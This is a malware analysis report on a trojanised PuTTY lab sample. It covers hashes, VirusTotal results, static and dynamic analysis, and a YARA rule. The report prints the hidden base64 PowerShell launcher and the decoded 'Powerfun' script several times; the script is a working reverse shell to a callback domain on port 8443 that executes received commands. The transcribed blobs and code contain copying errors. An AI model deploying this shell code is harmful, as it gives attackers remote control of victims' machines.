

[Silly Putty] [Chris Miele]
[March 4th, 2023]

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Executive Summary

SHA256 hash	0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee8
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Putty.exe is a malware sample identified on March 4, 2023. The file runs on x32 Windows operating system. The putty executable allows you the end-user to remote into a workstation from your computer. The symptom of malicious behavior is a blue PowerShell prompt appears when you execute the putty file this will run in the background for a second and then disappears. Also, the file tries to contact a DNS and port number of 8443. Appendix A will show the Symptoms.

Appendix B will show the Yara signature rule for the Putty.exe file.

Technical Summary

Putty.exe consists of two parts: The actual putty application and a power shell script that is running. Putty attempts to call to its DNS (bonus2.corporatebounusapplication.local). If the connection is initiated the Adversary will have access to your machine and a command and control server will be initiated.

putty.exe

Run Foreground allow
end-user to connect
to computer remotely

bonus2.corporate.local

powershell.exe

Base64 encoded
string & Power shell
script

Malicious Files

Putty.exe	0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee8
Powershell.exe	73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

Putty.exe

Putty.exe is the malicious file that was downloaded onto the workstation.

Powershell.exe

Powershell.exe is the second stage payload that when running is the command-and-control server for the adversary to remote into the victim workstation. Also, parts of the code are encoded with base 64.

```
1 powershell.exe -nop -w hidden -noni -ep bypass "&{[scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStre
2 ::FromBase64String
3 |'H4sIAQW/UMECAS1W227jNhB991cMXHUTIRbhdAESCLePvsGyOdNVZu82AYCE2NVzUyqZKUL0j87yU1ypljBNtUL7aGczlZ5kL9AG0xQbko0IRwK10tkcN8B5/Mz6SQHCN8g0u6RvidymTX6RhNp1PB4TFu4530MZyi19857IB5vA2DC/iCm
4 If4D3XnK25QH1Z2pW2MKk0/ofzChNyZ/ytiWysFe0CtyIT1N05j9suHDz+dGhK1qdQ2rotcnroSxbT8Roxhro3Dghx+BNX/GlyJa5QKTxEfXLDK/hLYaOwCdeecF2pImJC5kFRj+U7zPEsZtUujmIA06/Ztgg5Vp2JWav10Zd0oohLTgXEPm/
5 Ab4FXhktY2ibqTi3USmVx7ewV4MgKMw7Eteqvovf9xam27DvP3ot430PTIVwPbL5hiuMUKp04XNCv+1wZqU2U0y+aUPcyC4AU4ZFTopeInazRSb6QsaJW84arJtU3mdL7T0J3NPPTm3VAYHBgnqcfHwd7xzfyD72pxq3mi8nIrGtCH4+
6 iqPr68DM4JpV8bu3pqXFR1X7JF5iIoEsODfaYBgqIGnrLpy8h3x9bt+4XQonRmakdThgYpUxujm84SHIdzK9X2rwowCGg/c/wx8pk8KJhybIUWJ3gJGhaDUVSQ81piQ037HXdc6TohdCug32fUH/eaF3CC/18t2P9Uz3+6ok4Z661XTsxcGJ
7 eWg7cvyAHn27HwVp+VVKJsaTBXTiH1h33UaDmw7eHfrFGA1N1W66/2FDxd87V4wPBqmxuLeH74GV/PKRvYqI3jqF61yiuBFVOWdKTPXS5Hsfe/+7dJtImqHve2k545XSN6S7X3V8HwZ98I7sAgg5wuCktlclwPIYTK8prVStbHFaF1C1euZQb
8 L2b8qVXS8ub2V01znQ54aFcsrcy2sFyeFADCEkVxzocf372HJ/ha6LDyCo6KI1dKAmphRuSv1MC6DV0thaIh1IKOR3Mjok1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6lm++0TrtVTgantvmcFnp5uLXdGnSXTZQh56fsh6ntcjry9N8eXQ0Xxy
9 H4rirE031L9kf8i/mt193dQkAAA=='))))
10 ,[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
```

Figure 1: PowerShell Script & Strings Encoded Base64.

Static Analysis

```
C:\Users\Chris\Desktop
λ sha256sum.exe putty.exe
0c82e654c09c8fd9fd4899718efa37670974c9eec5a8fc18a167f93cea6ee83 *putty.exe
```

Figure 2: Sha256 Hash putty.exe.

0c82e654c09c8fd9fd4899718efa37670974c9eec5a8fc18a167f93cea6ee83

58 / 70

58 security vendors and 1 sandbox flagged this file as malicious

0c82e654c09c8fd9fd4899718efa37670974c9eec5a8fc18a167f93cea6ee83

PuTTY

1.47 MB Size

2023-02-07 19:08:55 UTC

24 days ago

EXE

peexe runtime-modules detect-debug-environment long-sleeps direct-cpu-clock-access checks-user-input

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 9

Figure 3: VirusTotal Sha256 Hash.

```
powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream([System.Convert]::FromBase64String('H4sIAQW/UWECA5wCGg/c/wx8pk8K3Hyb1UW1JgJGhaDUVSQ0B1piQ037HXdc6Tohdcug32FUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxc6JelW67cvyAHn27HwPp+FvKJsaTBXT1H1h33UaDhw7eMfrFGA1N1JWG6/2FDxd87V4wPBqmxtu1eH74GV/PKRvYqI3jqF61yi8BFVowdkTPXSShsfe/+7dJt1mqHve2K5ASXSN6S7X3V8HwZ98I
```

Figure 4: Floss output malicious string.




Figure 5: .text(code) Size Raw Size and Virtual Size roughly the same not packed.

Dynamic Analysis




Figure 6: Host based indicator putty parent process and powershell.exe child process.

H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLePVsGyDdNV
 Zu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlZ5kL9AGOXQbkoOIRwK
 1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNpIPB4TfU4S3OWZYi19B57
 IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpz
 ZRx4WIZ4EFrLMV2R55pGHILUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xlrF
 aUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCVfgCVSroAvw4D

If4D3XnKk25QHIZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITIN05j9suHDz+dGhKlqdQ2rotcnroSxbT0Roxhro3Dqhx+BWx/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRIX7JF5iloEsODfaYBgqIGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HldzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NIWG6/2FDxd87V4wPBqmxxtuleH74GV/PKRvYql3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFafICleuZQbL2b8qYXS8ub2V0lznQ54afCsry2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DV0thalh1IKOR3MjoK1UJfnhGVlP+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA==

Figure 7: PowerShell script part of string base64 encoded.



A screenshot of a network tool interface showing a DNS query. The 'Queries' section is expanded, displaying a query for 'bonus2.corporatebonusapplication.local' with type 'A' and class 'IN'. The query is associated with the IP address '192.168.1.1'.

Figure 8: DNS callback domain.



Figure 9: Callback port number.




Figure 10: Decoded base 64 and output to file named out.

```
1 out (1)
# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}

function powerfun
{
    Param(
        [String]$Command,
        [String]$Sslcon,
        [String]$Download
    )
    Process {
        $modules = @()
        if ($Command -eq "bind")
        {
            $listener = [System.Net.Sockets.TcpListener]8443
            $listener.start()
            $client = $listener.AcceptTcpClient()
        }
        if ($Command -eq "reverse")
        {
            $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
        }

        $stream = $client.GetStream()

        if ($Sslcon -eq "true")
        {
            $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
            $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local")
            $stream = $sslStream
        }

        [byte[]]$bytes = 0..20000|%{0}
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        if ($Download -eq "true")
        {
            $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
            $stream.Write($sendbytes,0,$sendbytes.Length)
            ForEach ($module in $modules)
            {
                (Get-Webclient).DownloadString($module)|Invoke-Expression
            }
        }

        $sendbytes = ([text.encoding]::ASCII).GetBytes("PS " + (Get-Location).Path + ">")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            $command = ([Invoke-Expression -Command $data 2>&61 | Out-String)
        }
    }
}
```

Figure 11: Decoded rest PowerShell script from base64.


```
C:\Windows\System32\drivers\etc
λ cat hosts
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#       102.54.94.97       rhino.acme.com          # source server
#       38.25.63.10       x.acme.com              # x client host
#
# localhost name resolution is handled within DNS itself.
#       127.0.0.1         localhost
#       ::1               localhost
#       127.0.0.1         bonus2.corporatebonusapplication.local

C:\Windows\System32\drivers\etc
λ |
```

Figure 12: DNS record of hosts 127.0.0.1 name resolution bonus2.corporatebonusapplication.local.




Figure 13: Prompt of command and control.

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[Silly Putty]

[Chris Miele]

Appendix A

```
1 powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream
2 ::FromBase64String
3 |'H4sIAQW/UMECAS1N227jNhB991cMXHUTIRbhdDAESCLepVsGyOdNVzu82AYCE2NVZUyqZKUL0j87yU1ypljBNTUL7aGcz1z5kL9AG0xQbkoQIRwK10tkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNp1PB4TFU4S3ONZYi19B57IB5VA2DC/iCm
4 If4D3XnkK25QH1Z2pN2MKk0/ofzChNyZ/yt1WVsFe0CtyIT1N05j9suHDz+dGhK1qdQ2rotcnroSXbT0Roxhro3DqhX+BNX/G1yJa5QKTxEfXLdK/hLYaOwCdeeCF2p1mJC5kFRj+U7zPESzTtUjJmAA06/Ztgg5Vp2TwaY10zd0oohLTgXEpM/
5 Ab4FXhKty2ibqTi3USmVx7ewV4MgKwW7Eteqvovf9Xam27DvP3oT430PTIVUwPbLShiuhMUKp04XNCv+inZQJ2U0y+aUPcyC4AU4ZFTopeInazRSb6QsaJW84arJtU3mdL7T013NPPtrw3VayHBgnqcFhd7xzfyD72pxq3m1Bn1rGtch4+
6 iqPr680W4JPV8bu3pqXFR1X7JF5i1oEs0DfayBgg1GnrLpy8h3x9bt+4XQpnRmKdTheVpUxujm845HI0zK9K2rwowCGg/c/wx8pk8KJhYbIUWJjgJGNaDUNVSQ0B1piQ037HXdc6TohdCug32fUH/eaF3CC/18t2P9Uz3+6ok4Z661XTsxcGJ
7 eHq7cvy4Hn27HwVp+FvKJsaTBXTiH1h33UaDwW7eHfrfGA1N1W6/2FDxd87V4wP8qmxu1eH74GV/PKRvYq13jqfN61yiuBFVowdkTPXSSHsfe/+7dJtLmqHve2k5A5XN6SjX3V8HwZ98I7sAgg5wucKt1cHPiVtK8prV5tbHFaF1C1euZQb
8 L2b8qVXS8ub2V01znQ54afCsrcy2sFyeFADCEkVXzocf372HJ/ha6LDyCo6KI1dDKAmphRuSv1MC6DVOthaIh1IKOR3MjoK1UJ3fnhGVIpr+8hOCi/WIGf9s5naT/1D6Nm++0TrtVTgantvmcFnp5uLXdGnSX7ZQJh56f5h6Ntcjry9N8eXQ0Xxy
9 H4r1e0J3L9kF8i/mt193dQAAA=='))
10 ,[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
```

```
C:\Users\Chris\Desktop
λ sha256sum. exe putty.exe
0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83 *putty.exe
```

0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83

58

70

58 security vendors and 1 sandbox flagged this file as malicious

0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83

1.47 MB

2023-02-07 19:08:55 UTC

Size

24 days ago

EXE

peexe runtime-modules detect-debug-environment long-sleeps direct-cpu-clock-access checks-user-input

Community Score

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY 9

```
powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream,[System.Convert]::FromBase64String('H4sIAQW/UMECASwCGg/c/wx8pk8KJhYbIUWJjgJGNaDUNVSQ0B1piQ037HXdc6TohdCug32fUH/eaF3CC/18t2P9Uz3+6ok4Z661XTsxcGJleWg7cvy4Hn27HwVp+FvKJsaTBXTiH1h33UaDwW7eHfrfGA1N1W6/2FDxd87V4wP8qmxu1eH74GV/PKRvYq13jqfN61yiuBFVowdkTPXSSHsfe/+7dJtLmqHve2k5A5XN6SjX3V8HwZ98I
```

14

[Silly Putty]

[Chris Miele]

FLAREVM (FLAREVM INSTALL) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

pestudio 9.48 - Malware Initial Assessment - www.winitor.com - [c:\users\chris\desktop\putty.exe]

file settings about

c:\users\chris\desktop\putty.exe

indicators (sections > entry-point > suspicious)

virustotal (error)

dos-header (64 bytes)

dos-stub (message)

rich-header (n/a)

file-header (Intel-386)

optional-header (GUI)

directories (4)

sections (self-modifying)

libraries (8)

imports (flag)

exports (n/a)

tls-callback (n/a)

.NET (n/a)

resources (Compiled-HTML)

strings (size) *

debug (n/a)

manifest (PuTTY)

version (mon Tatham)

certificate (n/a)

overlay (n/a)

property	value	value	value	value	value	value	value	value	value
general									
name	.text	.rdata	.data	.00c1g	.rsrc	.reloc	.text	.idata	.rsrc
md5	53D53E5E7971DFA93A09C7...	0AE6BEA7B499355EFDAADD...	782A52AB4D3F047C09FB980...	C4F412638A6A577B8259496...	439CFDCB280386114AAC0...	6AFEDBD2F4E2FE29D1C805...	1D0EC91EBD8DEE96A6F1B5...	BABESCE1CAC05FEA800273...	2CA58D...
entropy	6.621	5.797	2.019	0.061	7.830	6.724	6.234	5.458	7.830
file-ratio (99.93%)	39.76 %	10.97 %	0.20 %	0.03 %	22.13 %	2.02 %	0.13 %	0.50 %	22.13 %
raw-address	0x00000400	0x00096400	0x0008FA00	0x000C0600	0x000C0800	0x00114000	0x00118A00	0x0011C200	0x0011E...
raw-size (1544192 bytes)	0x00096000 (614400 bytes)	0x00029600 (169472 bytes)	0x0000C000 (3072 bytes)	0x00000200 (512 bytes)	0x00053800 (342016 bytes)	0x00007A00 (31232 bytes)	0x00000800 (2048 bytes)	0x00001E00 (7680 bytes)	0x00053...
virtual-address	0x00001000	0x00097000	0x000C1000	0x000C5000	0x000C6000	0x0011A000	0x00122000	0x00123000	0x00125...
virtual-size (1555239 bytes)	0x00095FED (614253 bytes)	0x000295FC (169468 bytes)	0x00003FCC (16332 bytes)	0x00000004 (4 bytes)	0x00053720 (341792 bytes)	0x00007A00 (31232 bytes)	0x00000737 (1847 bytes)	0x00001CAA (7338 bytes)	0x00053...
characteristics									
value	0x60000020	0x40000040	0xC0000040	0x40000040	0x40000040	0x42000040	0xE0000020	0xC2000040	0x40000...
writable	-	-	x	-	-	-	x	x	-
executable	x	-	-	-	-	-	x	-	-
shareable	-	-	-	-	-	-	-	-	-
self-modifying	-	-	-	-	-	-	x	-	-
virtualized	-	-	-	-	-	-	-	-	-
items									
directory>import	-	-	-	-	-	-	-	0x00123000	-
directory>resource	-	-	-	-	-	-	-	-	0x00125...
directory>relocation	-	-	-	-	-	-	-	-	-
directory>import-address	-	0x0008E2F4	-	-	-	-	-	-	-
resources>manifest	-	-	-	-	-	-	-	-	0x00121...
resources>version	-	-	-	-	-	-	-	-	0x00121...
optional-header>base-of-code	0x00001000	-	-	-	-	-	-	-	-
optional-header>base-of-data	-	0x00097000	-	-	-	-	-	-	-
optional-header>entry-point	-	-	-	-	-	-	0x00122000	-	-
file (Compiled-HTML, 325542 bytes)	-	-	-	-	-	-	-	-	0x00121...

sha256: 0C82E654C09CFD9DFD4899718EFA37670974C9EECSA8FC10A167F93CEA6EE83

cpu: 32-bit file-type: executable subsystem: GUI entry-point: 0x00122000


Type here to search

Heavy mix 11:24 PM 3/3/2023

H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNV
Zu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AG0xQbkoOIRwK
1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNpIPB4TfU4S3OWZYi19B57
IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpz
ZRx4WlZ4EFrLMV2R55pGHILUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xlrF
aUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4D
lf4D3XnKk25QHIZ2pW2WKKO/ofzChNyZ/ytiWYsFe0CtyITIN05j9suHDz+
dGhKlqdQ2rotcnroSXbT0Roxhro3DqhX+BWx/GlyJa5QKTxEfXLdK/hLyaO
wCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLT
gXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27D

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[Silly Putty]
[Chris Miele]

vP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZF
Tope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzf
pD72pxq3miBnlrGTcH4+iqPr68DW4JPV8bu3pqXFRIX7JF5iloEsODfaYBgq
lGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HldzK9X2rwowCGg/c/w
x8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3C
C/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHl
h33UaDWw7eMfrfGA1NIWG6/2FDxd87V4wPBqmxutuleH74GV/PKRvYqI
3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I
7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54af
Csrcy2sFyeFADCEkVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DV
Othalh1IKOR3MjoK1UJfnhGVlpr+8hOCi/WIGf9s5naT/1D6Nm++OTrtVT
gantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF
8i/mtl93dQkAAA==




```
remnux@remnux: ~  
remnux@remnux:~$ echo "H4sIAOW/UWECAS1W227jNhB991cMXHUtIRbhdbdAESCLePvsGyDdNVZu82AYCE2NYzUyqZKUL0j87  
yUlypLjBNTUL7aGczlz5kL9AG0xQbko0IRwK10tkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNpLPB4TfU4S3OWZYi19B57IB5vA2DC  
/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHLUut29g3EvE6t8wjl+ZhKuvKr/  
9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCVfgCVSroAvw4DI4D3XnKk25QHlZ2pw2Wkk0/ofzCh  
NyZ/ytiWysFe0CtyITlN05j9suHDz+dGhKlqdQ2roctnroSxbT0Roxhro3DqhX+BWx/GlyJa5QKTxEfXLDK/hLya0wCdeeCF2pIm  
JC5kFRj+U7zPEsZtUujmWA06/Ztgg5Vp2JWaYl0Zd0oohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam2  
7DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTopeInazRSb6QsaJW84arJtU3mdL7T0J3NPPtrm3VAy  
HBgnqcfHwd7xzfyPD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEs0DfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKd  
ThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQ037HXdc6TohdCug32fUH/eaF3CC/18t2P9Uz3  
+6ok4Z6G1XTsxnCGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHl33UaDww7eMfrfGA1NLWG6/2FDxd87V4wPBqmxTuleH74GV/PKRvY  
qI3jqFn6lyiuBFV0wdkTPXSShsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL  
2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCEkVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DV0thaIh1IKOR3MjoK1UJfnh  
GVipR+8h0Ci/WIGf9s5naT/1D6Nm++0TrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQ0XxyH4rirE0J3L9kF8i/mt  
l93dQkAAA==" | base64 -d > out  
remnux@remnux:~$ ls  
Desktop Documents Downloads Music out Pictures Public Templates Videos  
remnux@remnux:~$ file out  
out: gzip compressed data, last modified: Mon Sep 27 12:58:13 2021, max compression, from Unix, orig  
inal size modulo 2^32 2421  
remnux@remnux:~$
```

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[Silly Putty]
[Chris Miele]

Powerfun - Written by Ben Turner & Dave Hardy

```

function Get-Webclient
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun
{
    Param(
        [String]$Command,
        [String]$Sslcon,
        [String]$Download
    )
    Process {
        $modules = @()
        if ($Command -eq "bind")
        {
            $listener = [System.Net.Sockets.TcpListener]8443
            $listener.start()
            $client = $listener.AcceptTcpClient()
        }
        if ($Command -eq "reverse")
        {
            $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
        }

        $stream = $client.GetStream()

        if ($Sslcon -eq "true")
        {
            $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
            $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local")
            $stream = $sslStream
        }

        [byte[]]$bytes = 0..20000|%{0}
        $sendbytes = ([Text.Encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        if ($Download -eq "true")
        {
            $sendbytes = ([Text.Encoding]::ASCII).GetBytes("[+] Loading modules.`n")
            $stream.Write($sendbytes,0,$sendbytes.Length)
            ForEach ($module in $modules)
            {
                (Get-Webclient).DownloadString($module)|Invoke-Expression
            }
        }

        $sendbytes = ([Text.Encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while($i = $stream.Read($bytes, 0, $bytes.Length) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            $cmdhaxk = ([Invoke-Expression -Command $data 2>&6.1 | Out-String)
        }
    }
}

```

[remnux@remnux: ~]

[remnux@remnux: ~]

Home

out (1) - SciTE

1/2

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[Silly Putty]

[Chris Miele]

```
1 out (1)
# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}

function powerfun
{
    Param(
        [String]$Command,
        [String]$Sslcon,
        [String]$Download
    )
    Process {
        $modules = @()
        if ($Command -eq "bind")
        {
            $listener = [System.Net.Sockets.TcpListener]8443
            $listener.start()
            $client = $listener.AcceptTcpClient()
        }
        if ($Command -eq "reverse")
        {
            $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
        }

        $stream = $client.GetStream()

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        {
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        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        if ($Download -eq "true")
        {
            $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
            $stream.Write($sendbytes,0,$sendbytes.Length)
            ForEach ($module in $modules)
            {
                (Get-Webclient).DownloadString($module)|Invoke-Expression
            }
        }


        $sendbytes = ([text.encoding]::ASCII).GetBytes("PS " + (Get-Location).Path + ">")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            $cmdhark = ([Invoke-Expression -Command $data 2>&1 | Out-String)
        }
    }
}
```

```
C:\Windows\System32\drivers\etc
λ cat hosts
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97      rhino.acme.com      # source server
#      38.25.63.10      x.acme.com         # x client host

# localhost name resolution is handled within DNS itself.
#      127.0.0.1        localhost
#      ::1              localhost
#      127.0.0.1        bonus2.corporatebonusapplication.local

C:\Windows\System32\drivers\etc
λ |
```



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[Silly Putty]

[Chris Miele]

Appendix B

```
{ sillyputty.yara •
C: > Users > Chris Laptop > Desktop > { sillyputty.yara
1  rule Silly_Putty {
2      meta:
3          date = "2023-03-05"
4          author = "Chris Miele"
5          description = "Yara rule Silly_Putty"
6          reference = "https://github.com/HuskyHacks/PWAT-labs/tree/main/labs/1-3.Challenge-SillyPutty"
7          sha256 = "0c82e654c09c8fd9fd4899718efa37670974c9eec5a8fc18a167f93cea6ee8"
8
9      strings:
10         $string1 = "powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream([Syst
11         $PE_MagicByte = "MZ"
12         $network_dns = "bonus2.corporatebonusapplication.local" ascii
13
14     condition:
15         network.port == 8443
16
```